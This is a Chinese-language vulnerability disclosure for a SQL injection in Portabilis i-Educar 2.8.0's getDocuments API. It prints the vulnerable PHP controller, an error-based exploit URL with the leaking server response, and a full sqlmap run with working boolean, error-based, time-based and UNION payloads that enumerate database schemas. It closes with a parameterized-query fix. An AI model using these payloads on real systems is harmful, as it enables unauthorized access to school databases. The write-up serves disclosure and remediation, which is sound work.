CVE-2024-48325

描述： 已认证用户可利用 InstituicaoDocumentacaoController 类的 getDocuments 函数中存在的 SQL 注入漏洞。/module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id 中的 instituicao_id 参数未正确过滤，允许已认证的远程攻击者注入恶意 SQL 命令。

版本： 发现于 Portabilis i-Educar 2.8.0。

概念验证

漏洞详情

该问题存在于 InstituicaoDocumentacaoController 类的 getDocuments 函数中，可通过以下端点触发：

class InstituicaoDocumentacaoController extends ApiCoreController
{
    protected function insertDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $var2 = $this->getRequest()->titulo_documento;
        $var3 = $this->getRequest()->url_documento;
        $var4 = $this->getRequest()->ref_usuario_cad;
        $var5 = $this->getRequest()->ref_cod_escola;
        $sql = "INSERT INTO pmieducar.instituicao_documentacao (instituicao_id, titulo_documento, url_documento, ref_usuario_cad, ref_cod_escola) VALUES ($var1, '$var2', '$var3', $var4, $var5)";
        $this->fetchPreparedQuery($sql);
        $sql = "SELECT MAX(id) FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1";
        $novoId = $this->fetchPreparedQuery($sql);
        return ['id' => $novoId[0][0]];
    }
    
    protected function getDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $sql = "SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1 ORDER BY id DESC";
        $instituicao = $this->fetchPreparedQuery($sql);
        $attrs = ['id', 'titulo_documento', 'url_documento', 'ref_usuario_cad', 'ref_cod_escola'];
        $instituicao = Portabilis_Array_Utils::filterSet($instituicao, $attrs);
        return ['documentos' => $instituicao];
    }
}

漏洞发生方式

instituicao_id 参数直接在 SQL 查询中使用，未进行适当过滤或参数化。这使得攻击者可以发送恶意 HTTP 请求来注入 SQL 命令，从而可能未经授权访问数据库或操纵数据。

触发漏洞的示例端点： /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14
示例利用： /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14+AND+(CAST(VERSION()+AS+INTEGER))%3d1

服务器响应：

{
    "oper": "get",
    "resource": "getDocuments",
    "msgs": [
        {
            "msg": "Exception: Error preparing query (SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC) in the database: Exception: SQLSTATE[22P02]: Invalid text representation: 7 ERROR: invalid input syntax for type integer: \"PostgreSQL 16.4 on x86_64-pc-linux-musl, compiled by gcc (Alpine 13.2.1_git20240309) 13.2.1 20240309, 64-bit\" (Connection: pgsql, SQL: SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC)",
            "type": "error"
        }
    ],
    "any_error_msg": true
}

自动化利用

该漏洞也可通过 SQLMap 等自动化工具利用，从而实现数据库枚举： sqlmap -r ../instituicaoDocumentacao.r --dbms postgres --dbs -p instituicao_id --risk 3 --level 5

SQLMap

    ┌──(root㉿mithrandir)-[/home/kali/cve/i-educar]
    └─# sqlmap -r ../instituicaoDocumentacao.r --dbms postgres --dbs -p instituicao_id --risk 3 --level 5
            ___
           __H__                                                                                                                                                
     ___ ___[,]_____ ___ ___  {1.8.8#stable}                                                                                                                    
    |_ -| . [,]     | .'| . |                                                                                                                                    
    |___|_  [']_|_|_|__,|  _|                                                                                                                                    
          |_|V...       |_|   https://sqlmap.org                                                                                                                
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    [*] starting @ 18:35:00 /2024-09-18/
    [18:35:00] [INFO] parsing HTTP request from '../instituicaoDocumentacao.r'
    [18:35:00] [INFO] testing connection to the target URL
    [18:35:00] [INFO] testing if the target URL content is stable
    you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n]
    [18:35:02] [INFO] target URL content is stable
    [18:35:02] [WARNING] heuristic (basic) test shows that GET parameter 'instituicao_id' might not be injectable
    [18:35:03] [INFO] testing for SQL injection on GET parameter 'instituicao_id'
    [18:35:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
    [18:35:03] [WARNING] reflective value(s) found and filtering out
    [18:35:33] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
    [18:36:06] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
    [18:36:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
    [18:36:44] [INFO] GET parameter 'instituicao_id' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable
    [18:36:44] [INFO] testing 'Generic inline queries'
    [18:36:44] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
    [18:36:45] [INFO] GET parameter 'instituicao_id' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable
    [18:36:45] [INFO] testing 'PostgreSQL inline queries'
    [18:36:45] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
    [18:36:46] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
    [18:36:46] [INFO] testing 'PostgreSQL stacked queries (heavy query - comment)'
    [18:36:47] [INFO] testing 'PostgreSQL stacked queries (heavy query)'
    [18:36:48] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc - comment)'
    [18:36:49] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc)'
    [18:36:51] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
    [18:37:03] [INFO] GET parameter 'instituicao_id' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable
    [18:37:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
    [18:37:03] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
    [18:37:03] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
    [18:37:05] [INFO] target URL appears to have 6 columns in query
    [18:37:06] [INFO] GET parameter 'instituicao_id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
    GET parameter 'instituicao_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
    sqlmap identified the following injection point(s) with a total of 357 HTTP(s) requests:
    ---
    Parameter: instituicao_id (GET)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
        Payload: oper=get&resource=getDocuments&instituicao_id=1 AND 3719=(SELECT (CASE WHEN (3719=3719) THEN 3719 ELSE (SELECT 7032 UNION SELECT 7023) END))-- Fcse
        Type: error-based
        Title: PostgreSQL AND error-based - WHERE or HAVING clause
        Payload: oper=get&resource=getDocuments&instituicao_id=1 AND 7438=CAST((CHR(113)||CHR(112)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (7438=7438) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(113)||CHR(120)||CHR(107)||CHR(113)) AS NUMERIC)
        Type: time-based blind
        Title: PostgreSQL > 8.1 AND time-based blind
        Payload: oper=get&resource=getDocuments&instituicao_id=1 AND 8710=(SELECT 8710 FROM PG_SLEEP(5))
        Type: UNION query
        Title: Generic UNION query (NULL) - 6 columns
        Payload: oper=get&resource=getDocuments&instituicao_id=1 UNION ALL SELECT NULL,NULL,NULL,(CHR(113)||CHR(112)||CHR(122)||CHR(106)||CHR(113))||(CHR(84)||CHR(80)||CHR(80)||CHR(113)||CHR(66)||CHR(85)||CHR(89)||CHR(112)||CHR(71)||CHR(106)||CHR(107)||CHR(118)||CHR(113)||CHR(77)||CHR(78)||CHR(105)||CHR(66)||CHR(76)||CHR(98)||CHR(87)||CHR(120)||CHR(118)||CHR(110)||CHR(84)||CHR(75)||CHR(112)||CHR(87)||CHR(119)||CHR(115)||CHR(90)||CHR(112)||CHR(70)||CHR(82)||CHR(88)||CHR(78)||CHR(85)||CHR(83)||CHR(117)||CHR(120)||CHR(98))||(CHR(113)||CHR(113)||CHR(120)||CHR(107)||CHR(113)),NULL,NULL-- eplJ
    ---
    [18:38:27] [INFO] the back-end DBMS is PostgreSQL
    [18:38:27] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
    web application technology: Nginx 1.26.2, PHP 8.3.11
    back-end DBMS: PostgreSQL
    [18:38:29] [WARNING] schema names are going to be used on PostgreSQL for enumeration as the counterpart to database names on other DBMSes
    [18:38:29] [INFO] fetching database (schema) names
    [18:38:30] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
    [18:38:31] [WARNING] the SQL query provided does not return any output
    [18:38:31] [INFO] retrieved: 'public'
    [18:38:31] [INFO] retrieved: 'pg_catalog'
    [18:38:32] [INFO] retrieved: 'cadastro'
    [18:38:32] [INFO] retrieved: 'pmieducar'
    [18:38:33] [INFO] retrieved: 'modules'
    [18:38:33] [INFO] retrieved: 'portal'
    [18:38:33] [INFO] retrieved: 'information_schema'
    [18:38:34] [INFO] retrieved: 'relatorio'
    available databases [8]:
    [*] cadastro
    [*] information_schema
    [*] modules
    [*] pg_catalog
    [*] pmieducar
    [*] portal
    [*] public
    [*] relatorio
    [18:39:48] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/localhost'
    [*] ending @ 18:39:48 /2024-09-18/

建议解决方案：

要修复此问题，请对所有用户可输入值的参数进行过滤。在此特定情况下，参数化查询有助于缓解 SQL 注入风险：


$sql = "SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = :instituicao_id ORDER BY id DESC";
$params = [':instituicao_id' => $this->getRequest()->instituicao_id];
$instituicao = $this->fetchPreparedQuery($sql, $params);

或者：

$sql = "SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = :instituicao_id ORDER BY id DESC";
$stmt = $this->db->prepare($sql);
$instituicao_id = $this->getRequest()->instituicao_id;
$stmt->bindParam(':instituicao_id', $instituicao_id, PDO::PARAM_INT);
$stmt->execute();
$instituicao = $stmt->fetchAll(PDO::FETCH_ASSOC);

cve-2024-48325

最受欢迎